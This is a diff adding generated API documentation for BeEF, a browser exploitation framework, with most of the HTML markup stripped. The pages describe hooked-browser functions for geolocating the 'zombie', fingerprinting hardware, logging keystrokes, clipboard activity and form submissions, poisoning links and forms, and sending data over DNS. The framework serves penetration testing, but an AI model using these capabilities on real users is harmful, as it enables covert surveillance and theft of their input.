+ + + + + + + \ No newline at end of file diff --git a/docs/beef.geolocation.html b/docs/beef.geolocation.html new file mode 100644 index 000000000..0f73b00ce --- /dev/null +++ b/docs/beef.geolocation.html @@ -0,0 +1,578 @@ + + + + + JSDoc: Namespace: geolocation + + + + + + + + + + +
+ +

Namespace: geolocation

+ + + + + + +
+ +
+ +

geolocation

+ + +
+ +
+
+ + +

Provides functionalities to use the geolocation API.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) getGeolocation(command_url, command_id)

+ + + + + + +
+

Retrieve latitude/longitude using the geolocation API

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
command_url + +
command_id + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getOpenStreetMapAddress(command_url, command_id, latitude, longitude)

+ + + + + + +
+

Given latitude/longitude retrieves exact street position of the zombie

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
command_url + +
command_id + +
latitude + +
longitude + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isGeolocationEnabled() → {boolean}

+ + + + + + +
+

Check if browser supports the geolocation API

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.hardware.html b/docs/beef.hardware.html new file mode 100644 index 000000000..64943e726 --- /dev/null +++ b/docs/beef.hardware.html @@ -0,0 +1,2086 @@ + + + + + JSDoc: Namespace: hardware + + + + + + + + + + +
+ +

Namespace: hardware

+ + + + + + +
+ +
+ +

hardware

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) getBatteryDetails() → {Object}

+ + + + + + +
+

Returns battery details

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) getCpuArch() → {String}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

CPU type

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getCpuCores() → {String}

+ + + + + + +
+

Returns number of CPU cores

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getCpuDetails() → {String}

+ + + + + + +
+

Returns CPU details

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getGpuDetails() → {object}

+ + + + + + +
+

Returns GPU details

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +object + + +
+
+ + + + + + + + + + + + + +

(static) getMemory() → {String}

+ + + + + + +
+

Returns RAM (GiB)

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getScreenSize() → {Object}

+ + + + + + +
+

Returns zombie screen size and color depth.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) isEricsson() → {Boolean}

+ + + + + + +
+

Is Ericsson?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isGameConsole() → {Boolean}

+ + + + + + +
+

Returns true if the browser is on a game console

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isGoogle() → {Boolean}

+ + + + + + +
+

Is Google?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isHtc() → {Boolean}

+ + + + + + +
+

Is HTC?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isLaptop() → {Boolean}

+ + + + + + +
+

Is a Laptop?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isMobileDevice() → {Boolean}

+ + + + + + +
+

Returns true if the browser is on a Mobile device

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isMotorola() → {Boolean}

+ + + + + + +
+

Is Motorola?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isNokia() → {Boolean}

+ + + + + + +
+

Is Nokia?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isTouchEnabled() → {Boolean}

+ + + + + + +
+

Is touch enabled?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isVirtualMachine() → {Boolean}

+ + + + + + +
+

Is virtual machine?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isZune() → {Boolean}

+ + + + + + +
+

Is Zune?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.init.html b/docs/beef.init.html new file mode 100644 index 000000000..8f9ff4ec2 --- /dev/null +++ b/docs/beef.init.html @@ -0,0 +1,486 @@ + + + + + JSDoc: Namespace: init + + + + + + + + + + +
+ +

Namespace: init

+ + + + + + +
+ +
+ +

init

+ + +
+ +
+
+ + +

Contains the beef_init() method which starts the BeEF client-side +logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.

+

If beef.pageIsLoaded is true, then this JS has been loaded >1 times +and will have a new session id. The new session id will need to know +the brwoser details. So sendback the browser details again.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) beef_init()

+ + + + + + +
+

Starts the polling mechanism, and initialize various components:

+
    +
  • browser details (see browser.js) are sent back to the "/init" handler
  • +
  • the polling starts (checks for new commands, and execute them)
  • +
  • the logger component is initialized (see logger.js)
  • +
  • the Autorun Engine is initialized (see are.js)
  • +
+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) window.onclose()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) window.onload()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) window.onpopstate()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.js.html b/docs/beef.js.html new file mode 100644 index 000000000..30f72bcc9 --- /dev/null +++ b/docs/beef.js.html @@ -0,0 +1,135 @@ + + + + + JSDoc: Source: beef.js + + + + + + + + + + +
+ +

Source: beef.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*!
+ * BeEF JS Library <%= @beef_version %>
+ * Register the BeEF JS on the window object.
+ */
+
+$j = jQuery.noConflict();
+
+if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
+
+    /**
+     * Register the BeEF JS on the window object.
+     * @namespace {Object} BeefJS 
+     * @property {string} version BeEf Version
+     * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().
+     * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.
+     * @property {array} onclose An array containing functions to be executed by the window.onclose() method.
+     * @property {array} commands An array containing functions to be executed by Beef.
+     * @property {array} components An array containing all the BeEF JS components.
+     */
+
+    var BeefJS = {
+        
+        version: '<%= @beef_version %>',
+        pageIsLoaded: false,
+        onpopstate: new Array(),
+        onclose: new Array(),
+        commands: new Array(),
+        components: new Array(),
+
+        /**
+         * Adds a function to display debug messages (wraps console.log())
+         * @param: {string} the debug string to return
+         */
+        debug: function(msg) {
+            isDebug = '<%= @client_debug %>'
+            if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) {
+                var currentdate = new Date();
+                var pad = function(n){return ("0" + n).slice(-2);}
+                var datetime = currentdate.getFullYear() + "-"
+                + pad(currentdate.getMonth()+1)  + "-"
+                + pad(currentdate.getDate()) + " "
+                + pad(currentdate.getHours()) + ":"
+                + pad(currentdate.getMinutes()) + ":"
+                + pad(currentdate.getSeconds());
+                console.log('['+datetime+'] '+msg);
+            } else {
+                // TODO: maybe add a callback to BeEF server for debugging purposes
+                //window.alert(msg);
+            }
+        },
+
+        /**
+        * Adds a function to execute.
+        * @param: {Function} the function to execute.
+        */
+        execute: function(fn) {
+                if ( typeof  beef.websocket == "undefined"){
+                    this.commands.push(fn);
+                }else{
+                    fn();
+                }
+        },
+
+       /**
+        * Registers a component in BeEF JS.
+        * @params: {String} the component.
+        *
+        * Components are very important to register so the framework does not
+        * send them back over and over again.
+        */
+        regCmp: function(component) {
+                this.components.push(component);
+        }
+
+    };
+
+    window.beef = BeefJS;
+}
+
+
+
+ + + + +
+ + + +
+ + + + + + + diff --git a/docs/beef.logger.html b/docs/beef.logger.html new file mode 100644 index 000000000..0f9a20e80 --- /dev/null +++ b/docs/beef.logger.html @@ -0,0 +1,2168 @@ + + + + + JSDoc: Namespace: logger + + + + + + + + + + +
+ +

Namespace: logger

+ + + + + + +
+ +
+ +

logger

+ + +
+ +
+
+ + +

Provides logging capabilities.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

Members

+ + + +

(static) events

+ + + + +
+

Holds events created by user, to be sent back to BeEF

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) id

+ + + + +
+

Internal logger id

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) in_submit

+ + + + +
+

Prevents from recursive event handling on form submission

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) stream

+ + + + +
+

Holds current stream of key presses

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) target

+ + + + +
+

Contains current target of key presses

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) time

+ + + + +
+

Holds the time the logger was started

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) click()

+ + + + + + +
+

Click function fires when the user clicks the mouse.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) console()

+ + + + + + +
+

Console function fires when data is sent to the browser console.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) copy()

+ + + + + + +
+

Copy function fires when the user copies data to the clipboard.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) cut()

+ + + + + + +
+

Cut function fires when the user cuts data to the clipboard.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) e()

+ + + + + + +
+

Holds the event details to be sent to BeEF

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_dom_identifier()

+ + + + + + +
+

Translate DOM Object to a readable string

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_id()

+ + + + + + +
+

Get id

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_timestamp() → {String}

+ + + + + + +
+

Formats the timestamp

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

timestamp string

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) keypress(e:)

+ + + + + + +
+

Keypress function fires everytime a key is pressed.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
e: + + +Object + + + +

event object

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) parse_stream()

+ + + + + + +
+

Parses stream array and creates history string

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) paste()

+ + + + + + +
+

Paste function fires when the user pastes data from the clipboard.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) push_stream()

+ + + + + + +
+

Pushes the current stream to the events queue

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) queue()

+ + + + + + +
+

Queue results to be sent back to framework

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) start()

+ + + + + + +
+

Starts the logger

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) stop()

+ + + + + + +
+

Stops the logger

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) submit()

+ + + + + + +
+

Submit function fires whenever a form is submitted +TODO: Cleanup this function

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) win_blur()

+ + + + + + +
+

Fires when the window element has lost focus

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) win_focus()

+ + + + + + +
+

Fires when the window element has regained focus

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.mitb.html b/docs/beef.mitb.html new file mode 100644 index 000000000..02e785390 --- /dev/null +++ b/docs/beef.mitb.html @@ -0,0 +1,926 @@ + + + + + JSDoc: Namespace: mitb + + + + + + + + + + +
+ +

Namespace: mitb

+ + + + + + +
+ +
+ +

mitb

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) endSession()

+ + + + + + +
+

Signals the Framework that the user has lost the hook

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) fetch()

+ + + + + + +
+

Fetches a hooked link with AJAX

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) fetchForm()

+ + + + + + +
+

Fetches a hooked form with AJAX

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) fetchOnclick()

+ + + + + + +
+

Fetches a window.location=http://domainname.com and setting up history

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hook()

+ + + + + + +
+

Initializes the hook on anchors and forms.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) init()

+ + + + + + +
+

Initializes

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) poisonAnchor()

+ + + + + + +
+

Hooks anchors and prevents them from linking away

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) poisonForm()

+ + + + + + +
+

Hooks forms and prevents them from linking away

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) sniff()

+ + + + + + +
+

Relays an entry to the framework

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.net.connection.html b/docs/beef.net.connection.html new file mode 100644 index 000000000..f81a9875a --- /dev/null +++ b/docs/beef.net.connection.html @@ -0,0 +1,369 @@ + + + + + JSDoc: Namespace: connection + + + + + + + + + + +
+ +

Namespace: connection

+ + + + + + +
+ +
+ +

+ .net.connection

+ + +
+ +
+
+ + +

beef.net.connection - wraps Mozilla's Network Information API +https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation +https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) downlinkMax() → {String}

+ + + + + + +
+

Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

downlink max or 'unknown'.

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + +
Example
+ +
beef.net.connection.downlinkMax()
+ + + + + + + + + +

(static) type() → {String}

+ + + + + + +
+

Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

connection type or 'unknown'.

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + +
Example
+ +
beef.net.connection.type()
+ + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.net.cors.html b/docs/beef.net.cors.html new file mode 100644 index 000000000..2a407cea8 --- /dev/null +++ b/docs/beef.net.cors.html @@ -0,0 +1,452 @@ + + + + + JSDoc: Namespace: cors + + + + + + + + + + +
+ +

Namespace: cors

+ + + + + + +
+ +
+ +

+ .net.cors

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) request(method, url, data, timeout, callback)

+ + + + + + +
+

Make a cross-origin request using CORS

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
method + + +String + + + +

HTTP verb ('GET', 'POST', 'DELETE', etc.)

url + + +String + + + +

url

data + + +String + + + +

request body

timeout + + +Integer + + + +

request timeout in milliseconds

callback + + +function + + + +

function to callback on completion

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) response()

+ + + + + + +
+

Response Object - used in the beef.net.request callback

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.net.dns.html b/docs/beef.net.dns.html new file mode 100644 index 000000000..b969abfab --- /dev/null +++ b/docs/beef.net.dns.html @@ -0,0 +1,325 @@ + + + + + JSDoc: Namespace: dns + + + + + + + + + + +
+ +

Namespace: dns

+ + + + + + +
+ +
+ +

+ .net.dns

+ + +
+ +
+
+ + +

request object structure:

+
    +
  • msgId: {Integer} Unique message ID for the request.
  • +
  • domain: {String} Remote domain to retrieve the data.
  • +
  • wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  • +
  • callback: {Function} Callback function to receive the number of requests sent.
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) send(msgId, data, domain, callback)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
msgId + +
data + +
domain + +
callback + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.net.html b/docs/beef.net.html new file mode 100644 index 000000000..3ab1df7ff --- /dev/null +++ b/docs/beef.net.html @@ -0,0 +1,2388 @@ + + + + + JSDoc: Namespace: net + + + + + + + + + + +
+ +

Namespace: net

+ + + + + + +
+ +
+ +

net

+ + +
+ +
+
+ + +

Provides basic networking functions, +like beef.net.request and beef.net.forgeRequest, +used by BeEF command modules and the Requester extension, +as well as beef.net.send which is used to return commands +to BeEF server-side components.

+

Also, it contains the core methods used by the XHR-polling +mechanism (flush, queue)

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + +

Namespaces

+ +
+
connection
+
+ +
cors
+
+ +
dns
+
+ +
local
+
+ +
portscanner
+
+ +
requester
+
+ +
xssrays
+
+
+ + + + + +

Methods

+ + + + + + + +

(static) array_has_string_key()

+ + + + + + +
+

Detects if an array has a string key

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) browser_details()

+ + + + + + +
+

Sends back browser details to framework, calling beef.browser.getDetails()

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) chunk(str, amount)

+ + + + + + +
+

Split the input data into chunk lengths determined by the amount parameter.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
str + + +String + + + +

the input data

amount + + +Integer + + + +

chunk length

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) clean()

+ + + + + + +
+

this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} +http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) command()

+ + + + + + +
+

